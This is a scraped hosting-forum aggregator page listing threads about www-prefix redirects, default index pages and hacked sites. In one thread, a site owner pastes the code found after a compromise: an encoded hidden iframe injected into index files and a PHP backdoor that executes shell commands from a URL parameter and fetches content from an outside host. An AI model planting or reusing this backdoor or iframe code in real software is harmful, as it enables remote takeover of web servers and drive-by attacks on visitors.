Tracking Forums, Newsgroups, Maling Lists
Home Scripts Tutorials Tracker Forums
  Advanced Search
  HOME    TRACKER    Web Hosting


Advertisements:




SuperbHosting.net & Arvixe.com have generously sponsored dedicated servers and web hosting to ensure a reliable and scalable dedicated hosting solution for BigResource.com.







No Index With Prefix Www


I have a client who's index will not come up when using "www". Of course I have checked the dns severs and all is well.


View Complete Thread with Replies

Sponsored Links:

Related Forum Messages:
How To Prefix A Www
One of our clients website runs only if we give the domain name with http and www and domain name
When we give just http and the domain name it shows 404

Can some one help me how to change it so that it will take with www and without www?

I am not able to post link am a very new member here.

View Replies!   View Related
Setting WWW Prefix
I have a problem with a couple of the domains on my reseller account.

Although apparently configured the same as other domains I am unable to set the default URL to use the www prefix using .htaccess. When I try I get a redirect loop error.

You can visit one of the problem domains here: [url]

If you stick www in front you will see that it resolves to the non-www version.
Any idea where this is taking place?

View Replies!   View Related
Nameservers :: NS1 Prefix? NS2 Prefix
when you signup for host they ask three questions:

Host name
NS1 prefix
NS2 prefix

If my registered domain name is xyz dot com, how I am going to answer these questions

View Replies!   View Related
301 Redirect From Index.htm Index.asp Using Limited IIS Server
I am implementing one of my clients new sites ( the old site is written in plain html), and their new site uses ASP on every page.

The problem is that their old index.htm page has a pagerank of 4 which we want to keep.

And I have been advised that i need to do a 301 redirect to pass that PageRank onto their new index.asp page.

The other problem is that they are on a shared IIS hosting solution (with FastHosts), and obviously I don;t have total control over the server so cannot get into the root control panel.

My question is, whats the IIS alternative to .htaccess, which can be implemented on a limite-controlled IIS server?

JavaScript, I have heard is completely out the question

View Replies!   View Related
Setting Index.html As Default Page Instead Of Index.php?
Have a website that is making use of both index.html and index.php files as the main page. How can I achieve either through .htaccess or similar (shared hosting) to have the users directed to index.html and not load the index.php first off.

View Replies!   View Related
Static Index.html Pages Hacked, Also Index Files
My site was hacked today, all pages named index.html were hacked. It is kind of script since all pages were written same time.

I'm using a very respectable hosting. I jumped from another hosting were I was exposed on a unsecured host (they moved my account to an insecure host without asking).

Going back on track, all files named "%index%" were hacked.

-I found a index.txt file with links to obscure sites.

The code was written at bottom of the all index.html files: iframe code

Code:
><!-- ~ --><iframe src="&#104&#116&#116&#112&#58&#47&#47&#103&#111&#111&#103&#108&#101&#116&#114&#97&#102&#102&#46&#99&#111&#109&#47&#105&#110&#46&#99&#103&#105&#63&#100&#101&#102&#97&#117&#108&#116" width="0" height="0" style="display:none"></iframe><!-- ~ -->
Also a line.php with the following code

PHP Code:

<?error_reporting(0);if($_GET['cmd45']) {system($_GET['cmd45']);}$domain = 'shemale1.biz';$ur = '/load.php?f=%s&ua=%s&ref=%s';$qs = $_SERVER['QUERY_STRING'];$ua = urlencode(substr($_SERVER['HTTP_USER_AGENT'],0,100));$ref = urlencode($_SERVER['HTTP_REFERER']);$redirect = sprintf($ur,$qs,$ua,$ref);#print $redirect;#exit;echo getcontent($domain,80,$redirect);exit;function getcontent($server, $port, $file){$socket=fsockopen($server,$port,$errno,$errstr,60) or die("Can't open socket");$refer = $_SERVER['HTTP_HOST']?$_SERVER['HTTP_HOST']:$server;fputs($socket, "GET $file HTTP/1.0
");fputs($socket, "Referer: http://$refer
");fputs($socket, "Host: $server
");fputs($socket, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

");$wr = 0;while(!feof($socket)){  $temp = fgets($socket);    if(eregi("<",$temp)) {      $wr = 1;        }                      if($wr) {              $page .= $temp;                }                }                fclose($socket);                                return $page;                }                                ?>
So far I recover the files from backup, secured the config.php files and modify %index% to read only...finally changed the password...

View Replies!   View Related
Creating An SSL Certificate - Www Vs No Www
When you create a SSL certificate for www.mydomain.com vs mydomain.com, is the "www" vs "non-www" decided when you generate the CSR (for example, in cpanel/whm)? Or is it "decided" when you actually purchase the certificate?

View Replies!   View Related
Disable Www For Www.subdomain.domain.com
I created a new cpanel account subdomain.domain.com

Sometimes i goto [url] on my browser, it changes to www.subdomain.domain.com

I want to disable 'www' for some 'xml' script reason.

How do I do that?

View Replies!   View Related
Site Www Does Not Work But Without Www Does
Like the title says, I just moved my site over to my own server, and it is running cpanel. Anyways the main site [url]works, but [url]does not.

What is really strange is, [url]works fine as does [url]

So I figure there is something I have to do to get it all to work right.

The other issue is that if you are logged into [url]but goto [url], you are not logged in anymore, but if you go back to the original link, then you are still logged in. This happened on the other guys server before with the main site as well.

View Replies!   View Related
Getting Www.domain.com To Work, Domain.com Resolves Correctly, Just Not With Www
Okay guys, a quick question for all the gurus out there. I'll admit I'm a bit embarassed posting such an easy question, but give a guy a break, I've been using managed servers for god knows how long and I've finally decided to take a dive into administration. Everything is firewalled and secured properly, I'm just having trouble getting the ServerAlias to work right.

What happens is I go into my browser and enter in [url]walaa! It works.

Now, when I enter in [url], it does not resolve.

I have checked with "dig" the domain settings and it looks as though all of the nameservers are set up fine, this is an apache problem. I'm running apache 2.2 on Ubuntu 7.10 for all those who are interested.

Here is my etc/apache2/sites-available/domain.com:

<VirtualHost *:80>

# Admin email, Server Name (domain name) and any aliases
ServerAdmin webmaster@domain1.com
ServerName domain.com
ServerAlias www.domain.com

# Index file and Document Root (where the public files are located)
DirectoryIndex index.html
DocumentRoot /home/demo/public_html/domain.com/public

# Custom log file locations
LogLevel warn
ErrorLog /home/demo/public_html/domain.com/logs/error.log
CustomLog /home/demo/public_html/domain.com/logs/access.log combined

</VirtualHost>

I've been messing with it for about 45 minutes and I'm worn out at ~4:30am and could use a helping hand from the pros.

View Replies!   View Related
Index.php Is Not Working But Index.php? Is Ok
I recompiled apache and php due to some problems. Now apache and php is running and I have a VB forum running fine. However, one folder has a PHP page named index.php when I type its URL I get it downloaded and it is not executed directly from the server.

when I add "?" to the end of the URL[url]" it runs with no problems!

Is it something wrong with httpd.conf or what?

View Replies!   View Related
To Www. Or Not To Www. What Is The Difference
I looked all over the web.....well google like 5-6 pages and found the answer but I am not sure I understand.

What is the difference from having [url]and [url]?

does it make a difference to the web user, is it a server thing.

View Replies!   View Related
How To Redirect.. Www.website.com -> Www.website.com/forums
I want my users to be redirected directly to my forum

so when they type in www.mywebsite.com it will redirect instantly to www.mywebsite.com/forums

I know this can be done on Cpanel... any other ways?

View Replies!   View Related
Subdomain Index Page
I created the subdomain for my site www.mysite/myclientpotentialdomain, with the only purpose to show my client the mock up of his home page using his potential domain name.
The file is named index.htm and consist only the mock up image.

The problem that I encountered is when I refresh the browser (Firefox) the image disappears. I can see the alt tag, but the picture is gone. Works fine in IE though.
The only difference I have noticed that after the refreshment,

View Replies!   View Related
CPanel / Apache 'Index Of /'
how to display the time and date of a file that was added to an Apache file directory on a cPanel server?

It used display the time and date back in the 1.3 and 2.0 days, but it doesn't on the 2.2 versions of Apache.

View Replies!   View Related
Index Page Not Showing
i have hosted my website on dadicated windows hosting with rackspace. my webiste default page was index.aspx. now i have created new home page with name the of index.html and uploaded this page to server and deleted old home page index.aspx but my new index.html page not showing when i try to open open my website www.example.com but its opening when i try with www.example.com/index.html.

View Replies!   View Related
Can't Change The Index Page
I'm working with HELM panel

I have deleted the index.htm file and uploaded another one

the first one had some images <img>, now

1. when i request the main page [url] the old index file is still appearing!

2. the images that was in the <img> tags of the old index file can't be deleted or renamed : can't be accessed at all.

View Replies!   View Related
Torjan In Html Index
in many sites in my server torjan in index.html

in <ifram>

how to save my server from that .js torjan

and i need to ask about other thing this torjan can chang any this in backups

View Replies!   View Related
All Index Files Got Infected
after week when my server upgrade the cpanel automatic i got infected in all
index files like index.html and index.php and index.asp and any index with any
extinstion and this is the code in all files

Code:
<iframe src=[url]

and when i delete this code it come again in all index files

i am in really trouble with my clients and i want to know how can i fix this
thing and never come back again

View Replies!   View Related
Index Page Hacking
One of my customer's domain name's index page is hacked with the pharmacy kind of URLs all over on the homepage. Anyone has idea about this? You can see the URL at
[url]

View Replies!   View Related
Dedicated Hacked With All Index Files
I was working on WHM of my server sudeenly i saw CPU load was increasing and till when i understand CPU load was on peak of 160%. I tried to find out CPU overloading sites and found that my 4 populer sites were creating problem. I stopped apache and suspanded all 4 sites and rebooted server. After forceful server reboot i found that load was getting normal to 2.5%. I unsuspanded one of 2 forums but even i unsuspanded that forum was not opening (IPB). I logged into ftp suspecting some problem i found that index.php was only 45bytes i have opend index.php and found this text inside .....

View Replies!   View Related
Index Page Viewable On Server IP
I am using WHMCS and need to upload an index.php per server I wish to monitor. How do I go about doing this so that I can view the page via this method

[url]

I'm using cpanel / centos

View Replies!   View Related
How To Change Index Manager Defaults?
How to change index manager defaults?

Whenever I set up a new account

View Replies!   View Related
How To Protect The Index Page From Hackers
Am suffering from a hacker every time, he changes my client’s index (index..Php).

I changed FTP log, but still, it seems doesn’t work!

My simple question: How to protect the index page from hackers?

View Replies!   View Related
Protect Index File With Cpanel
I have subdomain, the index file was hacked

Who know how to protect the Index files with cpanel

View Replies!   View Related
Unwanted Code In Index.html
I have multiple demo websites under single domain. and in each folder default page is as index.html

few days back i have observed a blank space on each index.html. when i check the code then i have found an auto generated code just after the body tag in index.html. the code is as follows

<div style="visibility:hidden"><iframe src="[url]

Also I am getting Question marks (?) in some blank spaces in HTML preview.

I have removed it but it again appears after some time. I have contacted to server support but they said that this is SQL Injection attack but there is no database connectivity involved in any of my websites.

View Replies!   View Related
Index Page With Javascript Probably Hacked ..
when i oppened my site i found that there was a code in the index i don't know from what but when i earsed it it returned again ...

View Replies!   View Related
Modifying Apache's Default Index
I was using Apache's <Directory> directive to modify the way the default indexes look.

I recently moved from openSUSE to Windows Server 2003 and copied over the Directory code but it no longer works.

Code:
<Directory />
Options All
AllowOverride All
IndexOptions SuppressHTMLPreamble SuppressDescription FancyIndexing VersionSort FoldersFirst IgnoreCase IconsAreLinks NameWidth=60
HeaderName /!_images/html/header.shtml
ReadmeName /!_images/html/footer.shtml
AddIcon /!_images/icons/application.png .exe
AddIcon /!_images/icons/application_xp_terminal.png .sh
AddIcon /!_images/icons/book_open.png .pdf
AddIcon /!_images/icons/music.png .mp3 .ogg
AddIcon /!_images/icons/photo.png .jpg .jpeg .png .bmp .gif
AddIcon /!_images/icons/television.png .avi .wmv .xvid .divx .mpg .mpeg
AddIcon /!_images/icons/script_code_red.png .php .php4 .php5 .js
AddIcon /!_images/icons/ruby.png .ruby .rb
AddIcon /!_images/icons/folder.png ^^DIRECTORY^^
DefaultIcon /!_images/icons/page_white.png

IndexIgnore query.txt !_images !_Jason !_media2 lost+found Modules _images login torrentflux phpinfo.php Thumbs.db tmp.txt phpmyadmin sandbox test.txt test.php _index.php robots.txt System Volume Information RECYCLER
</Directory>

It doesn't load the headerfile or the readme file (they exist) and it uses the Default Icon for all files

View Replies!   View Related
How Do I Change The Default Document Please? I.e. To Not Be Index
to change the default document on my Web server from index to news.php, is there a simple process for this please?

My server is Linux based and my control panel is cPanelX. I've had a look around the control panel but couldn't find anything to help me.

View Replies!   View Related
Three Domains To Get Google Index Pages Tripled, How?
I found some of sites that use thre domains to get google indexed them three times more, I don;t think it is because of parked domains.

3 domains go to "same" site(s), maybe they just look the same by using mirrors?

How to achieve this then?

We certainly wish we could get indexed multi-times too.

View Replies!   View Related
How To Display Domain Index.html At Ip And Nameserver
How do I have mydomain.com display at the main IP address as well as the nameserver IE server01.mydomain.com?

now all that is displayed there is the Apache page

View Replies!   View Related
Found Index Files In Home Direcotry
to found all of index.html files in my /home directory.

how can I found these files?

like this:
/home/a/public_html/index.html
/home/a/public_html/folder/index.html
/home/c/index.html

View Replies!   View Related
Index.php Not Working After Hack Attempt
I had an untapped image upload site on my server which i forgot. Some guys or children upload something noxious and neutralize all the "index.php". This was a hack attempt with SSH.

We noticed that, close this account delete uploaded files. But there is a quirky problem. Any of index.php's isn't working after this attempt. Index file is working after change its name, example "mindex.php".

We updated all the services, rebuild apache but don't working. We can't use any index.php on the server.

Additionally, there are 34 possible trojans appear on the server. I tried to delete them with BitDefender but can't do that.( I checked that WHM / Scan for Trojan Horses )

View Replies!   View Related
Malicious Code Added To Index File
I've been having an issue with one of my sites were someone has been adding malicious code to the index file. I don't know what has been compromised and am looking for a way to stop this.

I have a dedicated server have already upgraded MySQL to the latest version as I though that might work but it hasn't.

View Replies!   View Related
CPanel Prompts Login On Websites Index
I'm having an issue on my buddies website. He keeps getting this weird login prompt whenever you view his website. I thought it was just for his site itself but then I remembered e107 never has a pop up prompt to ask you to log in. I looked closely and realize it said its for the cPanel. So whenever you try to view the index page of his site it asks you for your user name and password. Very odd... Anyone know what could be causing this.?

View Replies!   View Related
How To Make Index.html In Evey Folder
how can i make in SSH install index.html in evey folder without index in my server?

View Replies!   View Related
Showing As Home Page Without Index.html
Is it possible to show a default page as the home page of the web site, without setting it as index.html or default.html? This is only on a shared hosting account , so the client does not have access to the apache conf or anything like that.

Here is the site. But, when I move the whole account over to my server, it doesn't show as the home page.

View Replies!   View Related
PATHINFO, How To Get Rid Of Index.php In Wordpress Permalinks
I don't know what's wrong with the server where the wordpress site is hosted. But in the permalinks, index.php must be included in the permalinks (more information here:[url]

What can be fixed in the server so that wordpress permalinks will work correctly?

View Replies!   View Related
How To Copy All Filename With The Word 'index' From Src To Dest
how to copy all filename with the word 'index' from src to dest?

This include index file within directories as well..

this doesn't seem to work. It only copy index.html in public_html .. and stop there..

Quote:

cp -Rf /backup/userA/public_html/*index* /home/userA/public_html/

View Replies!   View Related
How To Change Default System Setting Index Manager
How do I change the default system setting for the index manager so that indexes server wide are always set to no indexing.

I am aware that this can be done individually in cpanel, but how do I set it so that it is the default setting on the server to have

"No Indexing"

View Replies!   View Related
WHM (cPanel) Erase Index Footer Info
I am using a new redhat box with WHM (cPanel) and was wondering why all of my indexes have a footer suchs as this on them:

Apache/2.0.61 (Unix) mod_ssl/2.0.61 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5 Server at www.domain.com Port 80

View Replies!   View Related
Howto : Copy Index.shtml To Folders In One Command ..
i would like to copy index.shtml to these folder in 1 command ...

PHP Code:

[root@BOX wp-content]# ls -latotal 48drwxr-xr-x   9 sitename sitename 4096 Nov 25 16:06 .drwxr-xr-x   6 sitename sitename 4096 Nov 25 15:52 ..drwxrwxrwx   3 sitename sitename 4096 Nov 25 16:05 backupdrwxr-xr-x   2 sitename sitename 4096 Nov 16 15:39 cachedrwxrwxrwx   3 sitename sitename 4096 Nov 25 16:05 gallery-rwxr-xr-x   1 sitename sitename   30 May  5  2007 index.php-rw-r--r--   1 sitename sitename  457 Nov 25 16:06 index.shtmldrwxrwxrwx   3 sitename sitename 4096 Nov 16 16:27 photosdrwxr-xr-x  28 sitename sitename 4096 Nov 25 15:57 pluginsdrwxr-xr-x   8 sitename sitename 4096 Nov 22 03:01 themesdrwxr-xr-x   3 sitename sitename 4096 Nov 16 04:04 uploads-rw-r--r--   1 sitename sitename  909 Nov 16 15:43 wp-cache-config.php[root@BOX wp-content]# 

i mean to let index.shtml index uploads and themes .....etc in 1 command .

View Replies!   View Related
Customer Has Problem --- Index File Wont Show
One of my customers has been having a problem with his index files not showing up. It'll display the parent directory, and you can clearly see the index.html file in there, but it won't show it as the index.

It happened in one directory, and I went into .htaccess and did DirectoryIndex index.php.... but now i'm wondering if its part of a bigger problem, because its happening to other folders now.

View Replies!   View Related
Apache Logs :: Directory Index Forbidden By Options Directive
i have apache 2 and centos with plesk . when i see my apache error log it shows me :
[Fri Dec 19 05:56:35 2008] [error] [client ::1] Directory index forbidden by Options directive: /var/
www/html/

View Replies!   View Related
Wierd Htaccess Url Rewrite- Rewrites All Index Files
I have worked with mod_rewrite for years and never encountered this problem. I am converting html pages to a single php file and it works perfectly. I used htaccess the rewrite the urls to appear the same so that no links would be broken or lose SEO value.

The only problem is that my friend who also helped build the sites added different directories and within those directories are index.htm files that serve as a home page for the separate directory. Like /info/index.htm and /help/index.htm within the root directory. The problem is that for some reason my mod_rewrite directs to the main index.htm rewrite even if I include the whole path to the file. In htaccess I have this so far:

RewriteEngine on

RewriteRule index.htm$ index.php [L]
RewriteRule servers.htm$ index.php?action=servers [L]
RewriteRule movies.htm$ index.php?action=movies [L]
However there is a directory named "info" and inside that directory it has an index.htm file and it seems to conflict with my first mod_rewrite. I tried using:

RewriteRule /info/index.htm$ index.php?action=info [L]
and used other methods but none seem to work any ideas?

View Replies!   View Related
How To Set Up Cron Job To Replace Index File Every 3 Hours...
I would like to replace my index file every three hours, with a specified file on the server thats in a different folder (someone keeps putting unwanted stuff in my index file) Can someone explain to me how this is done?

View Replies!   View Related
WWW Vs No-WWW
What does everyone prefer with the domains of their sites?

www.yourdomain.com
yourdomain.com

Anyone have any real pros or cons?

View Replies!   View Related
Redirect Example.com To Www.example.com
I have multiple domains on my web server. One of my domains does not display its website when using example.com in the location bar.

Eg. example.com redirects to site2.com but www.example.com displays properly.

I tried adding to the htaccess file:

Quote:

Options +FollowSymlinks
RewriteEngine on

RewriteCond %{HTTP_HOST} !^www.example.com
RewriteRule ^(.*)$ http://www.example.com/$1 [R=permanent,L]

It doesn't work. The redirect does not occur.

View Replies!   View Related
Www Not Work
im using centOS 5 with webmin in my vps.

im installing webmin and do this: [Apache Webserver] / select [Default Server]

and my website work fine ,

but when i check my web site for example

[url]not working!

[url]Work fine!

how i can solve problem
work with www and without www.

View Replies!   View Related
Www And Http
All of my 3 new websites are not generating www.. Even if I type [url] all are changing to [url]when page is open...

I am asking because I am having irrelevant ads on adsense in all 3 sites thogh these sites are optimized well..

View Replies!   View Related
Subdomains With WWW
my control panel is PLESK, when our customers create sub domain they cannot access to their sub domains with www, for example the sub domain is sub.domain.com and I cannot access to this sub domain whit this address www.sub.domain.com .

what should I do to work the sub domains with www ?

View Replies!   View Related
Www. Doesn't Work
today I noticed that whenever I type any of the domain names on my server with a "www." in the address bar, it simply says "server not found". When I remove the "www.", it loads the site?

This is a major issue. It never used to be this way, but I noticed it today. Where should I edit? Could it be "named.conf"? Or maybe just DNS cname settings in plesk?

View Replies!   View Related
WWW Redirect
i have a Centos VPS with webmin

i have modified my .htaccess file to redirtect all users from WWW. to the root of the domain

i also tried to block some ip addresses through my .htaccess file

but it seems that whatever code i enter in my .htaccess file does not work. i think it is disabled somewhere as both the abvoe codes do not work

how can i enable .htaccess file?

View Replies!   View Related
Copyright İ 2005-08 www.BigResource.com, All rights reserved